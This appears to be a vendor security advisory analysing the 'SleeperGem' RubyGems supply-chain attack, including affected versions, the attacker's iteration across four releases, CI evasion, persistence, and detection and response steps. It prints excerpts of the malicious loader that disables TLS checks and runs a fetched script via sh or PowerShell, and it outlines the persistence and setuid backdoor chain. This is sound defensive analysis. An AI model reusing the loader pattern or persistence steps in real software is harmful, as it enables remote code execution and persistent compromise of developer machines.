CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-295
Affected Surface
- `git_credential_manager` RubyGem versions `2.8.0`, `2.8.1`, `2.8.2`, and `2.8.3`
- `Dendreo` versions `1.1.3` and `1.1.4`, plus `fastlane-plugin-run_tests_firebase_testlab@0.3.2`, which were republished to pull the malicious credential-manager dependency into existing bundles
- Developer workstations that installed or loaded the affected gems through Bundler, Fastlane, or ad hoc Ruby execution paths between 18 and 19 July 2026
- Linux hosts where the dropped payload could persist through `systemd --user`, cron, and an attempted setuid backdoor at `/usr/local/sbin/ping6`; Windows hosts were also targeted by the stage-one PowerShell path
The most important package-registry story from the last 72 hours is not in npm or PyPI this time. It is RubyGems finally getting the same style of dormant-account, trusted-package, developer-workstation compromise that JavaScript and Python teams have been dealing with for more than a year.
Between 18 and 19 July 2026, attackers published four malicious versions of a new git_credential_manager gem and then used that gem as a dependency graft inside two long-dormant projects: Dendreo and fastlane-plugin-run_tests_firebase_testlab. Public reporting from Aikido and StepSecurity lines up on the important mechanics:
- the new gem impersonated the real Git Credential Manager brand
- the first-stage Ruby code disabled TLS verification and fetched remote payloads from a public Forgejo host
- the attacker iterated from a noisier install path into a
require-time path in2.8.2and2.8.3 - the downloaded stage persisted on developer machines and attempted local privilege escalation
This is not just a “malicious gem existed” story. It is a useful case study in how attackers are now treating dormant package ownership itself as the initial access vector.
Publicly confirmed affected package set
The malicious set publicly confirmed on 19 July is:
| Package | Malicious versions | Why it matters |
|---|---|---|
git_credential_manager | 2.8.0, 2.8.1, 2.8.2, 2.8.3 | Primary loader family; new gem created to look like a legitimate Git helper |
Dendreo | 1.1.3, 1.1.4 | Dormant RubyGem republished after years of inactivity with the malicious dependency added |
fastlane-plugin-run_tests_firebase_testlab | 0.3.2 | Long-dormant Fastlane plugin republished with the same dependency chain; StepSecurity reports roughly 574,661 total downloads for the plugin family |
The registry pages themselves already show the anomaly pattern defenders should train on:
git_credential_manager@2.8.3was pushed on19 July 2026and then yanked byrubygems-security-teamDendreo@1.1.4appeared on18 July 2026after the previous public line stopped at1.1.2in2020fastlane-plugin-run_tests_firebase_testlab@0.3.2appeared on19 July 2026after0.3.1in2019
That publish chronology matters because it shows the compromise was not limited to one obviously fake new package. The attacker used a fresh lure package as the payload carrier, then republished older trusted gems to pull that package into existing Bundler dependency trees.
The git_credential_manager name was structurally suspicious
The real Git Credential Manager project already exists as git-ecosystem/git-credential-manager, a .NET credential helper distributed through its normal project release channels. Its documentation expects Git configuration such as:
git config --global credential.helper manager
That is not how legitimate Ruby helper gems are normally introduced into the ecosystem. The RubyGems package name re-used the exact product branding of a widely trusted Git authentication tool, which made the malicious release line look plausible in dashboards and package feeds even before anyone read the code.
That branding collision also helped the attacker pick believable version numbers. Aikido notes that the gem published four versions in quick succession, which is consistent with an operator testing and then refining the delivery path while trying to stay visually close to a real upstream product cadence.
What the stage-one Ruby code did
Aikido published the most useful first-stage code excerpts. The loader hard-coded a Forgejo-hosted base URL and explicitly disabled TLS certificate verification before downloading the next stage:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
Execution then pivoted directly into shell or PowerShell rather than staying inside normal gem behavior:
if goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
end
That combination should immediately stand out to AppSec teams reviewing package diffs:
- a gem whose job is not software installation is downloading remote binaries
- HTTPS certificate validation is deliberately turned off
- the fetched artifact is launched with
/bin/shor PowerShell - the host is a public Forgejo instance chosen to look ecosystem-adjacent rather than a project-controlled release endpoint
This is the same design pattern we have seen in earlier npm and PyPI incidents: keep the registry artifact small, keep the heavy payload off-registry until runtime, and make the package responsible only for fetching and starting the next stage.
The attacker iterated the loader over four versions
The most interesting detail in Aikido’s analysis is that the operator appears to have built the infection chain in public over roughly nine hours:
2.8.0 initial working dropper
2.8.1 same dropper, but Unix output redirected to /dev/null
2.8.2 install path wired into the gem load path, but final script execution commented out
2.8.3 same path, with the execution line re-enabled
That evolution matters for defenders because it shows the attacker was not just dumping one malicious tarball. They were actively tuning:
- noise reduction in
2.8.1, where Unix output was silenced - execution reach in
2.8.2, where the loader moved closer to arequire()path - live detonation in
2.8.3, where the staged chain became active again
In other words, the story is not only “RubyGems got malware.” The story is that the attacker converged on the same lesson that recent npm operators learned: if a package can trigger during normal library load, it bypasses the still-common assumption that only install-time hooks are dangerous.
require() became the meaningful trust boundary
Aikido reports that git_credential_manager version 2.8.2 changed the architecture so that loading the library was enough to run the installer path, and that 2.8.3 turned the staged path live again. StepSecurity then validated that for later versions the chain could be reached from a normal Ruby require path rather than needing an explicit CLI-like invocation.
That is the critical AppSec lesson. Many organizations are better at watching:
extconf.rb- gem native build steps
- post-install messages
- obvious
curl | shshell hooks
They are weaker at treating top-level Ruby code in a transitive dependency as an execution boundary in its own right.
In practical terms, the dangerous transition looked like this:
bundle install / bundle update
-> affected gem lands in the dependency graph
-> application, Fastlane plugin, or Ruby script requires the gem
-> child Ruby process runs bundled installer logic
-> installer fetches deploy.sh and a native payload
-> payload persists outside the gem directory
That shape puts SleeperGem closer to the recent AsyncAPI compromise and jscrambler incident than to a one-shot install hook. The real damage boundary is library load inside a trusted developer environment.
The second stage deliberately preferred developer machines over CI
StepSecurity’s runtime analysis adds the part defenders cannot get from package metadata alone. Before doing anything destructive, the malware checked for around thirty CI-related environment variables and exited if it believed it was running inside GitHub Actions, GitLab CI, CircleCI, Jenkins, Vercel, or similar systems.
That evasion choice is important:
- it cuts down on noisy detonation inside security-monitored build pipelines
- it biases the infection toward long-lived developer workstations
- it makes simple CI-only validation look deceptively clean
This is not theoretical. StepSecurity had to strip CI environment markers in order to force the chain to execute under observation. That means “our CI build looked fine” is weak evidence here. The malware was designed to make that outcome likely.
What the runtime kill chain did on Linux
StepSecurity captured the later-stage Linux process tree in order. Collapsed to its essential flow, it looked like:
ruby .../git_credential_manager-2.8.3/bin/install
-> /bin/sh .../package/deploy.sh
-> cp package/git-credential-manager $HOME/.local/share/gcm/git-credential-manager
-> chmod +x $HOME/.local/share/gcm/git-credential-manager
-> $HOME/.local/share/gcm/git-credential-manager --daemon
-> install systemd user persistence
-> systemctl --user daemon-reload
-> install cron persistence
-> probe sudo/wheel group membership
StepSecurity also reports the privilege-escalation branch that tries to plant a setuid root shell at:
/usr/local/sbin/ping6
Two implementation details are especially important:
- the dropped daemon moved out of the gem directory into
~/.local/share/gcm/, which means simple gem removal is not enough - persistence was installed redundantly through both
systemd --userand cron, which is a sign of an operator expecting partial cleanup
This is why the right response model is host compromise, not package hygiene.
Dependency grafting is what made the campaign scale
The brand-new git_credential_manager gem by itself was already malicious, but the more dangerous move was adding it as a dependency to trusted dormant packages.
Public reporting agrees on two fan-out paths:
Dendreogained the malicious dependency in versions1.1.3and1.1.4fastlane-plugin-run_tests_firebase_testlab@0.3.2did the same after years without releases
That means a team did not need to consciously install the suspicious new gem name. They could arrive at the same loader indirectly by refreshing a long-stable bundle that already trusted one of the dormant projects.
From a software-supply-chain perspective, that is the pattern to remember:
fresh lure package
-> compromise or hijack dormant maintainer account
-> republish legacy package
-> add malicious dependency
-> let existing consumers pull the payload transitively
RubyGems has seen malicious packages before, but this specific dormant-account-plus-transitive-fan-out pattern is exactly the kind of playbook that became common in npm and PyPI and is now plainly portable to other ecosystems.
Detection and scoping
Start with exact version hunting in lockfiles and local gem inventories:
rg -n 'git_credential_manager \((2\.8\.[0-3])\)|Dendreo \(1\.1\.[34]\)|fastlane-plugin-run_tests_firebase_testlab \(0\.3\.2\)' \
Gemfile.lock .
gem list | rg 'git_credential_manager|Dendreo|fastlane-plugin-run_tests_firebase_testlab'
Then hunt for the post-load artifacts that indicate real host compromise:
rg -n 'git\.disroot\.org|git-ecosystem|git-credential-manager' \
"$HOME/.local/share" "$HOME/.config/systemd/user" "$HOME" .
ls -l "$HOME/.local/share/gcm"
ls -l /usr/local/sbin/ping6
Check for the persistence paths StepSecurity described:
systemctl --user list-unit-files | rg 'git-credential-manager'
crontab -l | rg 'git-credential-manager|\.local/share/gcm'
Because the loader intentionally suppresses itself in many CI environments, also review developer endpoint telemetry rather than relying only on CI logs.
Response guidance
If any affected version was installed or loaded on a developer machine:
- treat the machine as compromised
- remove
~/.local/share/gcm/, the matching user service, and any cron persistence - inspect
/usr/local/sbin/ping6and remove it if it is not the legitimate system binary - rotate Git credentials, SSH keys, cloud credentials, browser-backed session material, and any secrets reachable from the infected host
- pin affected bundles back to known-good versions and invalidate local gem caches
The most important lesson from SleeperGem is not Ruby-specific. It is that dormant package ownership is now an attack surface, and that once a transitive dependency can run code during normal library load, the gap between “dependency update” and “persistent workstation foothold” becomes very small.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Aikido: SleeperGem RubyGems supply chain attack targets dormant maintainer accounts
- StepSecurity: SleeperGem compromised RubyGems drop a persistent backdoor
- RubyGems: git_credential_manager 2.8.3 yanked version page
- RubyGems: Dendreo 1.1.4 yanked version page
- RubyGems: fastlane-plugin-run_tests_firebase_testlab 0.3.2 yanked version page
- GitHub: official git-ecosystem/git-credential-manager project